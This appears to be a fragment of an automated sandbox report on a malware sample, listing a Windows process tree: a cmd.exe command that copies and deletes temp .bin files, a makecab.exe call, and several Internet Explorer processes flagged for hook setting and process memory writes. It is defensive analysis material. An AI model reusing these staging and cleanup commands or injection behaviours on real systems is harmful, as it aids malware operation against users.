C:\Windows\system32\cmd.execmd /U /C "type C:\Users\Admin\AppData\Local\Temp\DB94.bin1 > C:\Users\Admin\AppData\Local\Temp\DB94.bin & del C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:908
-
-
C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\568E.bin"2⤵PID:1648
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1820 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:976
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1532 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1532 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1344
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1532 CREDAT:537611 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1208
-